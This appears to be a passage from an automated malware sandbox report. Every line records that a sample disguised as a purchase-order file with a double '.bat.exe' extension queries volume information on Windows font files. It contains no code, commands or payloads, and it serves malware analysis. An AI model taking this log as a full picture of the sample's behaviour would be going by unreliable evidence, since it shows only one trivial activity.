Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\DUBAI-MEDIUM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
